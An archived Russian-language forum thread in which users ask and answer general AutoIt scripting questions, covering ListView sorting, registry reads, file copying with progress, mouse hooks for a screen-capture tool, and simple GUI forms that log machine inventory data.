![]() |
[Архив - Часть 3] AutoIt скрипты .:[общие вопросы]:.
Внимание! В связи с созданием отдельного форума по AutoIt, эта тема переводится в архивное состояние. Если у вас есть вопрос, создайте новую тему или поднимите существующую, если в ней обсуждается аналогичная проблема. Пожалуйста, не создавайте тем с названием "Помогите!" или "Нужна помощь по AutoIt". Это и так понятно :) Заголовок темы должен быть осмысленным. ![]() Сайт программы Русская справка Коллекция AutoIt скриптов от Sanja Alone Коллекция AutoIt скриптов от MSFN (могут быть устаревшие). Справочник по командам rundll32 (команды запуска диалоговых окон и не только...) AutoIt скрипты - введение и FAQ (статья содержит вводную информацию по AutoIt, а также ответы на ЧаВо). Архивы старых тем по AutoIt или они же в 7z архиве (версии для печати) - 846 кб (настоятельно рекомендуется к прочтению/поиску) (он же прикреплен в шапке) Данная тема предназначена для общих вопросов по AutoIt. Вопросы по установке приложений при помощи AutoIt следует задавать в соответствии с правилами форума "Автоматическая установка приложений". Таким образом, если вы хотите узнать как установить Winamp 5.x при помощи AutoIt, то создайте тему [autoit] Winamp 5.х (если таковой еще нет на форуме). Проверить наличие тем можно при помощи поиска или фильтров. Цитата:
|
Цитата:
Это чуть измененный пример от Maza Faka (пост 1969) Код:
#include <GuiConstants.au3> |
Timurko,
Цитата:
Цитата:
Код:
#include <Array.au3> Цитата:
Код:
Func WM_NOTIFY($hWnd, $iMsg, $iwParam, $ilParam) |
Creat0R, Спасибо , так работает
Вопрос : Где можно почитать про Dll-библиотеки ? |
Подскажите пожалуйста, как в скрипте команды командной строки прописывать, например, "copy /y" и т.д.? Не охота дополнительный файл cmd делать.
|
gregaz,
Цитата:
unikum111, Цитата:
Код:
Run(@ComSpec & ' /c copy /y "source" "dest"', '', @SW_HIDE) |
Цитата:
Цитата:
Цитата:
|
Timurko,
Цитата:
идеалов в жизни не бывает ;) Попробую подправить... |
Цитата:
Код:
#include <Array.au3> |
Creat0R
Привет! Подскажи пожалуйста: есть строка вида ". 51% 4.89 KB/s", нужно получить массив со значениями 51% и 4.89 KB/s. Так же нужно учесть, что в конце исходной строки может быть любой символ после 4.89 KB/s, который нужно опустить. Мои потуги: :) Код:
#include <Array.au3> |
Maza Faka,
Цитата:
Код:
#include <Array.au3> Правда это ещё зависит от того, где будет располагаться второе значение по отношению первого, т.е если совсем вместе, то массив не получится, это можно обойти если заранее известен формат второго значения, будет ли постоянно цифра -> точка - > цифра, или будет меняться... |
Creat0R
Спасибо! Это именно то, что мне нужно! ;) |
Такая проблема , как в Internet Explorer скопировать выделенный фрагмент текста??
Заранее благодарен |
rimm,
Цитата:
|
Цитата:
|
При выполнении операции сортировки в ListView иконки остаются на месте
Как обеспечить их привязку к типу файла ,а не к индексу Item ? Код:
#include <GuiConstants.au3> |
gregaz
В справке есть пример, смотри функцию Код:
GUICtrlRegisterListViewSort() |
Самому стало интересно и спросил на офф. форуме. ;)
|
Maza Faka,
Я не думал что в новой версии это будет проще чем раньше :) Кстати, с $LVS_EX_CHECKBOXES тоже отлично сортирует. |
Цитата:
Значит для сортировки надо использовать отдельную ф-ю ? Для редактирования на месте и управления кликами еще одну. |
gregaz,
А в чём проблема использовать более одной функции? :) . Ограничении вроде нет. |
Цитата:
Можно попутно еще вопрос ? Насколько я понял (для универсальной ф-ии в моем примере) одновременное использование одинарного и двойного кликов одной и той же кнопки мыши не предполагается. Для выявления двойного клика можно было бы выдержать паузу,но не останавливая работы скрипта. Как правильно это организовать? |
gregaz
Цитата:
|
Цитата:
Эта функция сортировки работает только на ListView ,созданном внутренней ф-ей : GUICtrlCreateListView При создании ListView с помощбю UDF : _GUICtrlListView_Create - не хочет Тогда,как редактирование на месте - наоборот . Получаются вилы ? Цитата:
Надо выявить двойной клик на ListView items ,игнорируя первый (одинарный) одной и той же кнопкой мыши |
gregaz,
Цитата:
Когда мы кликаем два раза подряд (промежуточность установлена системой), то в ListView посылается сообщение $NM_DBLCLK, вот его и нужно улавливать (испол. WM_NOTIFY_EVENTS()). |
gregaz
Цитата:
|
упс два раза задал вопрос...
|
kalikanzaros,
Цитата:
Цитата:
:) P.S Shutdown(6) не завершает работу скрипта, пока компьютер будет перезапускаться, строчка с созданием ярлыка будет выполнена. |
Creat0R,
понятно спасибо, как я понимаю проблему должно решить добавление строки с "exit" после строки Shutdown(6) |
Вот попробовал накалякать LVSort позволяющюю и сортировать на ListView,созданном с помощью UDF
При этом сохраняется возможность редактирования на месте Код:
#include <GuiListView.au3> Цитата:
|
gregaz
Цитата:
Цитата:
|
Цитата:
Как обработать их различив Например при одинарном запуск файла - при двойном на редактирование файла Я понимаю нужно начать обработку полученного рез-та через промежуток времени после прохождения двойного клика Не могу сообразить как это сделать не останавливая работу скрипта (Sleep не подходит т.к приостанавливает скрипт) Цитата:
Непонятно чем заказать порядок сортировки .Этот заказанный порядок должен поступить на $WM_NOTIFY. Наверно через стили ListView ? |
Цитата:
При первом клике колонки - прямая сортировка При повторном - обратная Код:
#include <GuiListView.au3> Поскольку это проба пера просьба дать рекомендации по упрощению ф-ии |
несколько постов выше приводил пример скрипта, кто-нибудь может подсказать как его модифицировать чтобы он вместо существования ярлыка проверял значения ключа в реесте
Код:
[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics] |
kalikanzaros,
См. в справке RegRead/RegWrite. Ключ для автозапуска: Код:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Creat0R,
спасибо, вчера вечером долго смотрел справку, но не понял как получить значение ключа для проверки на условие, поэтому и спрашиваю тут... |
gregaz,
Цитата:
Код:
#include <GuiConstantsEx.au3> |
kalikanzaros,
Цитата:
Код:
$WindowMetrics_Value = RegRead("HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "MinAnimate") |
Creat0R,
большое спасибо, проверю - отпишусь, думаю все будет прекрасно работать |
Поправил свой пост с примером сортировки и редактирования списка, немного некорректно задавалась переменная ($sNewText) с новым текстом, при юникодной версии нужно использовать wchar а не char.
|
Цитата:
Причина была именно в этом -иметь все возможности управления ListView при одном из способов его создания |
All
Я разбил старую тему на части и перевел ее в архивное состояние. Все темы по Autoit (архивные и текущую) можно увидеть по этой ссылке. В течение суток я размещу в шапке архив, содержащий версии для печати архивных тем (два огромных HTML-файла, в несжатом виде > 6мб). Я постарался перенести последние обсуждения в текущую тему. Если ваш вопрос остался неотвеченным в архивной теме, задайте его снова. Приношу извинения за причиненные неудобства. |
Подскажите пожалусто....как заставить в GUI интерфейсе двигаться полосу прокрутки???
|
Angelus
Поподробнее пожалуйста, какую полосу прокрутки? |
All
7z архив, содержащий версии для печати архивных тем по Autoit, прикреплен к шапке. Этот же архив также размещен на FTP, ссылка в шапке. |
При создании GUICtrlCreateLabel можно указать стиль $WS_VSCROLL, который добавит скрол по вертикали, но он не двигается....чет не то наверное делаю....
|
Angelus
А что именно ты хочешь сделать, может лучше использовать GuiCtrlCreateEdit? Всё таки Label - это статичный элемент. |
Maza Faka, вариант...спс...
|
Опять попал под вилы
Как изменить состояние окна ListView ,созданного UDF ( _GUICtrlListView_Create($Gui,"Items|SubItems1|SubItems2", 2, 2, 320, 120) ) ? GUICtrlSetState(-1,$GUI_HIDE) не проходит |
gregaz
Потому, что функция _GUICtrlListView_Create() возвращает не ID элемента, а Handle. Навскидку 2 варианта: 1) Создавать элемент ListView стандартной функцией, 2) Код:
ControlHide("Test", "", "SysListView321") |
Цитата:
|
Maza Faka, не подскажеш как ты решил проблему с проигрованием звука??...а то я пытаюсь запустить какой то файл через _SoundPlay, файл то проигрывается но звук отсутствует....
Код:
#include <Sound.au3> |
Angelus
Привет! Когда-то я начал писать аудио плеер, но потом забросил этот проект. Почему-то некоторые файлы не проигрывались, начал копать, обнаружил, что иногда, если в пути к файлу имеются пробелы, то файл не проигрывается, но, что самое странное, если я удалял папку и создавал её снова с тем же именем, то файл проигрывался без проблем. Просмотрел библиотеку Sound.au3 и как я понял проблемы возникают при получении короткого имени (8.3) файла функцией FileGetShortName(). Проблему так и не поборол :(. Но если ты найдёшь решение стукни мне. ;) |
помогите Auto it скрипт не в какую не ваходит!!!!!!
PHP код:
Ребята выручайте кто знает!!!! мне нужно чтоб информация которая вбивается в ети два поля после нажатия на кнопку ОК сохранялась в /txt файлик!!!!!!!!! Зараннеее оч признателен!!!!!! |
Senka11,
#include <GUIConstants.au3> GUICreate("Computer ID system;) created by Senka!;)", 320, 200) GUICtrlCreateLabel("Input Computer ID", 10, 10) $okbutton = GUICtrlCreateButton("Ready", 110, 120, 60) $nEdit = GUICtrlCreateInput ("inventory no.", -1,3,175,20) $aEdit = GUICtrlCreateInput ("Everest no.", -1,30,175,20) GUISetState () While 1 $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE MsgBox(0, "GUI Event", "You clicked CLOSE! Exiting...") exit Case $msg = $okbutton MsgBox(0, "11", "You pressed OK!") filewrite(FileOpen("Data.txt",1),"Data from $nEdit: " & $nEdit &@CRLF& "Data from $aEdit: "& $NEdit & @CRLF) EndSelect WEnd Можно ли как нить сделать так, что при добавлениии информации в файл, как допустим в filewrite(FileOpen("Data.txt",1),"Data from $nEdit: " & $nEdit &@CRLF& "Data from $aEdit: "& $NEdit & @CRLF), можно было бы увидить информацию которая записалась в файл не прибегая к закрытию всей программы, а только потом после закрытия открывать файл куда записалась информация? Тут же если использовать в FileOpen("Data.txt",4) вместо 1, 4 или любую другую цифру то вооще у меня фал даже не создается, в чем может быть проблема? Есть вордовский файл, в нем записи, каждая новая запись начинается с числа, т.е. там 1. бла бла, следующая строка: 2. аха ха .........., как сделать поиск по этому номеру, номер нужно вводить в Input. Спасибо. |
HORRIBLE,
Цитата:
Цитата:
Цитата:
Цитата:
Код:
$Number = 4 |
Maza Faka, та прикол в том что файл то проигрывается...сообщения выскакиваю по истичении окончания файла (например файл длится 7сек, через 7сек сообщение и выскакивает), звук просто при этом отсутсвует....Пробывал проиграть звуки винды C:\windows\media\...так там только одна миди проиграла и wav из всех файлов......вообщем как я понял с этим пока лучше не связовать...мож в следующих версиях каданить исправят....
|
Angelus,
Цитата:
И кстати, они не исправят (если и вправду есть проблема) если им об этом не сообщить ;) P.S Можешь залить проблемный файл, попробую у себя запустить. И какую кстати версию AutoIt'а юзаешь? |
Angelus
Проблемный аудио-файл в студию! |
Проблемных аудио файлов нет))))....в обычных проигрывателях звук есть...версия 3.2.10.....мож глюк винды....
|
#include <GUIConstants.au3>
GUICreate("Computer ID system created by Senka!", 320, 200) GUICtrlCreateLabel("Input Computer ID", 10, 10) $okbutton = GUICtrlCreateButton("Ready", 110, 120, 60) $nEdit = GUICtrlCreateInput ("inventory no.", -1,3,175,20) $aEdit = GUICtrlCreateInput ("Everest no.", -1,30,175,20) GUISetState () While 1 $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE MsgBox(0, "GUI Event", "You clicked CLOSE! Exiting...") exit Case $msg = $okbutton MsgBox(0, "11", "You pressed OK!") filewrite(FileOpen("Data.txt",1),"Data from $nEdit: " & $nEdit &@CRLF& "Data from $aEdit: "& $NEdit & @CRLF) EndSelect WEnd работает но не так как нужно! filewrite(FileOpen("Data.txt",1),"Data from $nEdit: " & $nEdit &@CRLF& "Data from $aEdit: "& $NEdit & @CRLF) записывает в файл: Data from $nEdit: 6 что бы я не вводил в $nEdit = GUICtrlCreateInput ("inventory no.", -1,3,175,20) подскажите че исправить!!!! |
Creat0R,
ага, спасибо за FileClose(Handle)- эту команду воткнул в код и все получил ответ на свой вопрос который ты не понял) |
Senka11,
Во-первых код заключать нужно в тег [code] (#)... или использовать утилиту для раскраски ;) Цитата:
Код:
#include <GUIConstants.au3> |
Creat0R, а почему в моем примере для Senka11, ересть какая то записывалась в файл,несмотря на то, что ты в водишь в поля ?
#include <GUIConstants.au3> GUICreate("Computer ID system created by Senka!", 320, 200) GUICtrlCreateLabel("Input Computer ID", 10, 10) $okbutton = GUICtrlCreateButton("Ready", 110, 120, 60) $nEdit = GUICtrlCreateInput ("inventory no.", -1,3,175,20) $aEdit = GUICtrlCreateInput ("Everest no.", -1,30,175,20) GUISetState () While 1 $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE MsgBox(0, "GUI Event", "You clicked CLOSE! Exiting...") exit Case $msg = $okbutton MsgBox(0, "11", "You pressed OK!") filewrite(FileOpen("Data.txt",1),"Data from $nEdit: " & $nEdit &@CRLF& "Data from $aEdit: "& $NEdit & @CRLF) FileClose("Data.txt") EndSelect WEnd |
я вот переделал и упростил свою задачу!!!!!!
PHP код:
теперь вопрос в след. я хочу создать меседж бокс который выводил бы на екран IP тачки !!!!!!!! и дописывал его вместе с мак адресом в txt файлик!!!!!!Help если ктото знает!!!!!!!! P.S Огромное спасибо CREATOR-e за неоценимую помощь!!!!!!!!!! |
HORRIBLE,
Цитата:
Senka11, Цитата:
Цитата:
![]() |
Senka11
Мдааа...ты хоть сам понял, что написал? Функция InputBox() не является создаваемым элементом пользовательского GUI, это встроенное стандартное окно диалога. Пример создания пользовательского GUI: Код:
#include <GUIConstants.au3> Цитата:
|
Creat0R, мда, тупим по маленьку (это я про себя) , спасибо.
А вот у меня вопрос, интернет страничка игрушки, на ней 2 поля ввода и кнопочка, AutoIt Window Info не показывает ни координат, ни id этих полей, а как можно к чему нить привязаться, чтобы вводить в поле информацию и кнопку жать ?? Конечно, самое простое это tab понажимать, а еще как нить можно? Когда ввели данные, нажимаем кнопку войти, вошли, другой вопрос, слева наверху есть картинка персонажа, над картинкой его ХП, как в автоите сказать ждать пока не наберется определенное кол-во ХП ждать ?? опять таки привязаться не к чему. |
Цитата:
Код:
#include <array.au3> |
amel27
Привет! Ты как всегда на высоте! Отличный пример! :up: |
Цитата:
Кстати, полный список поддерживаемых параметров и методов объекта "Win32_NetworkAdapterConfiguration" описан по адресу: http://msdn2.microsoft.com/en-us/library/aa394217.aspx |
а в скрипте случайно функции шифрования нет???
|
Angelus
Смотри в справке _StringEncrypt(), если я правильно тебя понял. |
Да правильно понял, сенкс...а то я смотрел не нашол....
|
добрый день
делаю скрипт для архивации данных, вроде всё работает архивирует и теперь хочу добавить строку прогресса, но как её релализовать не знаю. может есть у кого пример строки прогресса скинте код и я на его основе зделаю свой. спасибо |
thief_89
Цитата:
Код:
#include <GuiConstants.au3> |
Вот тут кто макрос для оперы недавно кидал, так может он могет наваять такой, который сможет отмечать в скролируемом списке задаваемые форумы на torrents.ru? А то ихние админы ну никак не могут встроить таку фичу!!!
|
thief_89,
Цитата:
NikLok, Цитата:
Цитата:
|
Creat0R, На сайте torrents.ru есть в разделе торенты прокручиваемы список форумов среди которых происходит поиск торентов - вернее их анонсов. Если выбрать не все а только интересующие, то список сильно от мусора очищается. Беда в том что одно неловкое движение и выдиление снимается и на тебя опять сваливается куча всякого Г-на. Если захочется порнухи я уж специяльно за ней зайду, а так каждый раз об это глаза ломаются! Вот и мечтается нажать кнопку и выделятся те которые, ну допустим записаны в файл, а еще лучше кнопкой фиксировать выбранные на машину и выбирать по другой кнопке из фиксированных. Список прокручиваемый по вертикали. Вот ссылка Torrent forum selector
К сожалению нуна регистрироваться, но треккер стоящий. |
PHP код:
|
NikLok,
Это не для AutoIt'а задачка, тут видимо нужно смотреть в сторону javascript/css, по этим вопросам лучше обратиться сюда ;) Senka11, Цитата:
Код:
MsgBox(0, "IP-Adress", @IPAddress1) |
Давно искал функцию для проверки цвета, содержится ли в нём оттенок тёмного или светлого, и наконец (с небольшой, однако значительной помощью на оф. форуме) мне удалось сделать подобную функию:
Код:
#include <GuiConstants.au3> |
2All
ламерский вопрос: для чего используется оператор #region ? 2Creat0R случайно наткнулся на его цветовое обозначение - INDIGO :) |
amel27,
Цитата:
Пример: Код:
#include <GuiConstants.au3> P.S За эти аббривиатуры отвечает стиль №13. Цитата:
|
Цитата:
Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
Цитата:
Цитата:
А комментарии для отдельных строк конечно же всегда действуют :) Цитата:
Рисунок: ![]() Текст (DarkOrchid): #Region Main Loop Текст (Indigo) #Region Main Loop Я даже как то давно показывал подобное сравнение. По поводу раскраски, вот какие стили у меня уже имеются (до 15-ти)... Но почему-то #CS..#CE неверно раскрашиваются, #CS и содержимое нормально, а вот #CE приобретает цвет magenta :idontnow: . |
Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
А ещё можно используя SciteConfig получить текущие значения для подсветок. Цитата:
Вот вариант который плохо отрабатывает: Au3ToPst_Unstable.au3. Просто включи ручной ввод кода, введи блок комментов: Код:
#CS Код:
#CS |
Цитата:
Цитата:
|
спасибо за помощ доделал все что хотел!!!!!!!!!!!
огромное спасибо активным участникам обсуждения!!!!! к стати вот что вышло!!! я добавил еще одно поле для номера крнфигурации машины!!! PHP код:
спс!!! |
amel27,
Цитата:
Если да, то нужно будет запостить баг репорт (я оставлю если что), думаю поправят. Я себе пока не могу ставить ещё одну версию SciTE (или поверх), у меня паралельно стоит две версии с AutoIt'а (кстати я сделал себе удобный переключатель между версиями, если интересно, могу выложить :)), не хочу напортить текущие версии. P.S Я если честно не ожидал такого бесповоротного исхода :) , думал можно будет обойти эту проблему средствами скрипта... |
Senka11,
Уже несколько раз говорилось, что FileOpen нужно закрывать (FileClose), если используется один раз, то не нужно вовсе его использовать, по умолчанию файл будет дописываться... Код:
FileWrite("\\192.168.0.254\public\senka1985\ipconfig.txt","" &$nEdit& " "& $aEdit &" "&@IPAddress1 &" "&$Output &"тип" &$xEdit) А код нужно заключать либо в теги [cоde] (#), либо разукрашивать ;) - но не как не в php. |
Цитата:
Цитата:
|
Доброе время суток, уважаемые!
Помогите решить следующие проблемы по автоматизации установки 1) Office 2003 и 2) XnView. 1) Написал код до появления этого окна (_http://img516.imageshack.us/img516/6619/74845641ze7.jpg). Как сделать MouseClick на Microsoft Office, а затем на появившееся окно (_http://img516.imageshack.us/img516/2967/70406322fz5.jpg)? Window Info не выдает никакой информации (кроме позиции мышки) 2) Как клацнуть эту менюшку? (_http://img516.imageshack.us/img516/1678/69200012in8.jpg) |
Dizelsoft
1. Например так: Код:
#include <GuiTreeView.au3> 2. Код:
WinActivate("XnView") |
Dizelsoft
Смотри пункт №6. |
Вложений: 1
amel27, All
Цитата:
![]() Цитата:
|
Maza Faka
спасибо! Creat0R вообщем скрипт создаёт в определёном месте папку с опредлёным названием и туда копирует файлы из заранее указаной папки. в принцыпе всё работает, файлы копируются но хотелось бы добавить строку прогресса в это скрипт. я в аутоите всего пару дней поэтому если где и "туплю" ногами не бейте ) у кого нить есть идеи по поводу моей пробелемы? |
Вложений: 1
такой вопрос появился.
Создал окно, в нем поля ввода, информацию введенную в эти поля надо передать в Excel-ий файл, только вот вопрос нужно чтобы записаная информация была, в виде: Картинку прилепил. (как бы в один столбик получается все затоганить, а как вот так сделать непойму.) И еще одно, вот если у меня есть input (Автор 1) и 2 кнопки, функция второй кнопки такая: вдруг понадобилось вписать 2-го автора, жмак на кнопку появляется еще один input, а как сделать так чтобы этих инпутов могло появиться сколько я нажму на кнопку, да и потом все это в екселевский файл все записать как на прилепленой картинке. Спасибо. |
thief_89,
Цитата:
HORRIBLE, Цитата:
Примерно так: Код:
#include <GuiConstants.au3> |
Creat0R,
Спасибо. только вот ReDim $aData_Inputs[$aData_Inputs[0]+1] [0]+1 что это делает? а с другим моим вопросом, по поводу екселя, нет никаких соображений? |
HORRIBLE,
Цитата:
Цитата:
|
Цитата:
|
Creat0R
вот в принцыпе такой простенький скрипт PHP код:
|
thief_89
Код:
; Windows - copy with progress |
thief_89,
Я (и не только) пару раз приводил примеры тут в теме (возможно осталось в форумных архивах), были более продвинутые, а были просто с использованием системного диалога. Нужно просто поискать по темам (возможные поисковые запросы: progress, CopyWithProgress, MoveTo и т.п). |
Creat0R
ок, спасибо щас буду искать. Maza Faka спасибо |
amel27,
По поводу функции FileSaveDialog... Diamond её немного переделал (см. далее), чтобы в качестве фильтра можно было указывать обычные круглые скобки, почти как в функции VB(s). Всё отлично работает, но хотелось бы иметь ещё две возможности: 1) Чтобы можно было указать умолчальное расширение, т.е к примеру у меня в фильтре есть *.au3 и *.gif, и в качестве расширения по умолчанию я указываю *.gif, вот нужно чтобы автоматом в списке функция выбрала это расширение. Сейчас если указать расширение, то оно просто подставляется в случае когда юзер не указал расширение вовсе, но это не подходит (отчасти по причине в хотелке #2 :) ). 2) Чтобы функция возвращала выбранное расширение, если я (как юзер) не указал расширение, но при этом выбрал его в списке, то именно то самое умолчальное расширение будет использовано, хотя не логично брать "старое" расширение когдя юзер выбрал другое из списка. Если функция ещё и выбранное расширение будет возвращать, то можно будет "знать" чего конкретно хочет юзер, и соответственно делать выводы (действия). тег [ht] имеет характерный javascript'у баг - одиночная кавычка в названии текста (сылки) делает тег не рабочим :() P.S Я пробовал разного рода манипулляции с DllStructGetData(), почти все структуры перепотрошил, но немогу найти нужные мне данные (хотябы чтобы вернуть выбранное расширение). |
Цитата:
Цитата:
тут есть еще одна тонкость - пользователь может задать свой фильтр (nFilterIndex=0), судя по доке ф-ция поддерживает фиксирование такого фильтра... но для этого нужно инициализировать дополнительные структуры (lpstrCustomFilter, nMaxCustFilter). |
amel27,
Цитата:
Цитата:
Но всё же хотелось бы чтобы эта (подобная) фича устанавливала выбранный фильтр. Цитата:
Цитата:
Цитата:
|
amel27,
Спасибо огромное! Получилось и то и другое: Код:
$hWnd = WinGetHandle("") Вместо этого параметра добавлен параметр $iDefFilter, указывает умолчальный фильтр (по индексу). |
Цитата:
|
amel27,
Цитата:
У меня тут появилась другая хотелка, возможо она окажется не такой уж простой для реализации :tomato2: ... Чтобы к имени файла (если оно введено), добавлялось расширение при переключении фильтра (и если расширения ещё нет :)). Полагаю тут придётся CallBack подключать, чтобы проверять действия, т.к вызов функции останавливается на момент показа дилога сохранения. Или даже с CallBack это трудно реализовать? я такое в некоторых программах видел, например в любимой Opera :yes: . |
Цитата:
Код:
; Объявление в начале UDF Цитата:
|
amel27,
Цитата:
Цитата:
Код:
$hWnd = WinGetHandle("") |
Всем доброго времени суток! Не могли бы вы разъяснить, как выдрать из виндов букву cd-romа... т.к. буквы у на многих компах разные нужно точное выдирание буквы диска... ибо хочется сделать диск полностью самоустанавливающийся.... просмотрев справку и архив форума не нашел ни одной справки по решению данной проблемы... может кто поможет...
|
Dmurr,
Цитата:
Код:
$aDrives = DriveGetDrive("CDROM") |
Спасибо, большое... ^_^
|
amel27,
На оф. форуме выложили подобные функии, там можно указать имя CallBack функции, которая будет вызываться при поступлении сообщении. Сами UDF'ы немного запутаны для разбора, но мне удалось выявить, что при смене фильтра, поступает сообщение 49263 (его константа мне не известна конечно). Я правда не уверен что оно касается фильтра, возможно это просто сообщение связанное с перерисовкой диалога. Кстати, в одной из следующих версии, планируют уже встроенные функции переделать, как я понял будут поддерживать дополнитеьный параметр hWnd. Видимо мои просьбы повлияли ;) У меня тут есть проблема немного поважнее, нужно проверять нажатие левой кнопки мышки, но при этом предотвратить клик мышки. Т.е пока запущена определённая функция (в цикле), нажатие мышки (левую кнопку) нужно отключить, но чтобы можно было отследить, нажал ли юзер на эту кнопку (_IsPressed("01")). Это вообще реально на AutoIt? я такое поведение видел в программах для захвата изображении, когда юзер выбирает определённую часть окна, и затем кликает там для захвата, в том месте где он кликнул, ничего не происходит, т.е клиентская часть окна по которой он кликнул, не берёт на себя фокус. Я тоже делаю (точнее почти закончил) нечто похожее, утилитку для захвата изображении, как с этим вопросом решусь, выложу тут :) |
Цитата:
Цитата:
Код:
Func _WinIsMy($hwnd) Цитата:
|
amel27,
Цитата:
Цитата:
Вот пример с функцией, возвращает идентификатор окна (Handle) основываясь на идентификаторе процесса (PID), тексте, и классе окна: Код:
$iPID = Run("Notepad.exe") P.S А по поводу моей проблемы с мышкой, есть идеи что можно придумать? :clever-ma |
Цитата:
Код:
Global Const $WH_MOUSE_LL = 14 Цитата:
Цитата:
|
amel27,
Цитата:
![]() Вот пример, подобный обработке сообщении для элементов GUI (ListView в частности): Код:
Global Const $WH_MOUSE_LL = 14 |
Как реализовать при наведении мышки на картинку, курсор меняет вид, как уловить вот это момент поменял ли он вид или нет???
Для пирмера, на этом форуме если мышку довести до списка страниц то она вместо стрелочки окажется рукой. |
HORRIBLE,
GUICtrlSetCursor ( -1, 0 ) "-1" - означает предыдущую команду "0" - означает вид курсора или тебе нужно именно момент выловить??? |
Angelus, именно, что уловить.
Я знаю только, что моя картинка находиться на постоянной высоте, а по горизонтале ее положение может меняться. Вожу мышкой на заданной высоте по горизонтали, бац при попадании на картинку поменялся курсор, мне надо нажать на эту картинку, если так и не нашел вожу дальше.... и .тд. высоту при этом не меняю. |
HORRIBLE
Ммм...может проще определить координаты элемента, например функцией ControlGetPos()? |
HORRIBLE,
Цитата:
Если AutoIt'овская, то наверное проще проверять положение мышки над картинкой, а если внешняя, то нужно циклом проверять MouseGetCursor: Код:
HotKeySet("{ESC}", "Quit") |
Нужно напечатать файл-изображение, но при печати должен быть выведен диалог Мастера печати:
![]() _FilePrint/ShellExecute (одно и тоже) не подходят, они вызывают программу просмотра изображении и всё, печать не происходит (возможно потому что принтер у меня не установлен? :) ). Но если нажать кнопку «Печать» в этой самой программе просмотра, то выводится диалог мастера печати. Вот он мне и нужен, только без программы просмотра. Чувствую есть спец. команда для Dll'ки принтера, но какая, этого мне не удалось узнать. Есть список комманд RunDll32, но там вроде нет ничего подходящего. |
Creat0R
Это пробовал? |
Maza Faka,
Цитата:
Но проблема в том что ручной вызов не срабатывает так как ожидалось. Эта-же команда используется в реестре, но там выводится диалог мастера (если к примеру на файле изображения, вызвать пункт «Печать»), а ручной вызов отображает диалог сохранения файла *.xps (при сохранении начинается печать), и то, это только если указать имя принтера, которое скрипт естественно, не знает. |
Люди добрые помогите решить проблему. GUI элемент Edit поддерживает максимум 30 000 символов, это лажа =(( даже ничего поделать не могу... Можно ли как то увеличить это допустимое значение?
|
Timurko,
Цитата:
Вот пример, доказывает что Edit поле может содержать больше чем 30000 символов (пару минут правда подождать нужно, прежде чем поле заполнится ;)): Код:
#include <GuiConstants.au3> ...aaaaaab А длина 31000. |
подскажите, как отслеживать консольные программы, написанные на c++ (предположительно). Выводятся параметры, надо следить за тем, повесилась программа или нет, если параметры в окне меняются - отлично. Нет - закрывам процесс. Проблема в том, что ничего, по мнению autoit (autoit info tool) не выводит. Можно как-то победить?
Посоветовали через StdOutRead, но при этом процесс должен быть запущен чтобы получить process_id. Пробовал делать даже так,хотя это крайне нежелательно. В итоге - не смог даже запустить эту консольную программу - то есть она работает, но в окно ничего не выводит, и приведенный пример для функции StdOutRead в самом autout ничего не выводит. Даже простая dir *.* выводит только по завершению процесса(по ощущуениям) , а мне нужно чтобы эта консольная программа "крутилась". Ворос - можно как-то получить process_id, не запуская программу из autoit? Как потом запускать прогу через run, но так, чтобы было нормальное окно и в нем что-то отображалось? Если делать через start _приложение_ то наверное process_id изменится? |
Цитата:
Цитата:
Но проблема тут в другом, выводит ли эта программа данные в поток (Stream), который потом можно перехватывать через StdOutRead... Цитата:
Код:
$iPID = Run("Proga.exe", "", @SW_SHOW, 2 + 4) |
Цитата:
$iPID = ProcessExists("program.exe") MsgBox (4096,$iPID,StdoutRead ($iPID)) - ничего не выводит. Можно ли делать с помощью autoit скриншоты окна или его любой части? вообще народ рекомендовал pid искать через вызов user32.dll, неужели все так просто? |
zero_1632
Цитата:
|
прошу прощение за свой банальнейший вопрос - возможно он уже поднимался на форуме, но я не смог найти по нему ничего.
Есть две программы Program1 и Program2 у меня в скрипте сначала запускается Program1 а потом после ее окончания Program2 вся проблема в том что Program1 работает в фоновом режиме можно ли приостановить запуск Program2 на какое то время или как то отследить окончание Program1? |
или может есть какой то таймер? что бы отсрочить запуск второго приложения скажем минуты на 2?
|
Здравствуйте! кто-нибудь пользовался SQLite ? что он дает? просто создание базы данных и работа с ней из автоита? а можно ли вытянуть данные из существующей базы, например из аксесс-а? поделитесь опытом пожалуйста, кто пользовался. Может у кого ссылки есть на статьи и литературу по использованию SQLite библиотеки. В любом случае буду благодарна всем откликнувшимся.
|
garbage
Цитата:
Код:
ProcessWaitClose() |
zero_1632,
Цитата:
Код:
Run(@ComSpec & " /c echo I am an StdOut Stream Data", "", @SW_SHOW, 2 + 4) Цитата:
garbage Кроме упомянутого ProcessWaitClose, если программа запускается из скрипта, то проще использовать RunWait() ;) SvetlanaK, Цитата:
Цитата:
|
У меня проблема возникла. Вот мой код.
....................................... $i=0 $y = 208 $stroka = 0 do ClipPut("") MouseClickDrag("left", 93, $y+$i, 385,$y+$i) Send("^{c}") $creater = StringLen(GUICtrlRead($Label_2)) $len = StringLen(ClipGet()) If $len <= 11 then $Name = ClipGet() else $len_1 = $len - $creater $Name = StringTrimRight(ClipGet(),$len_1) $len_11 = StringLen($Name) Endif $login_2 = GUICtrlRead($Label_2) $test = StringCompare ( $Name, $login_2,2) If $test = 0 then $stroka = $stroka + 1 else $i =$i + 22 $y_2 = $y+$i $stroka = $stroka + 1 endif until $test= 0 MsgBox(0,"","найден в строке: " &$stroka,3) $len_3 = 0 while $len_3 > $len_11 MouseClickDrag("left", 93, $y_2, 385,$y_2) Send("^{c}") $len_3 = StringLen(ClipGet()) Wend У меня не работает все после while...... как мне достать из первого цикла: $y_2 и $len_11 . |
HORRIBLE,
Цитата:
Переменная $len_11 объявляется условно, поэтому есть шанс что она не будет создана в момент перехода ко второму циклу (и естественно будет ошибка). Тоже самое и с $y_2. Что нужно достичь этим скриптом? |
Хочу команду ControlGetText ( 'Настройка', '', 'Edit1' ) добавить в цикл, что бы не писать пятдесят с лишним строк.....можно ли как нибудь плюсовать Edit1, что бы получилось Edit2 и тд в этом цикле???
|
Angelus,
Цитата:
Код:
For $i = 1 To 50 |
Creat0R,
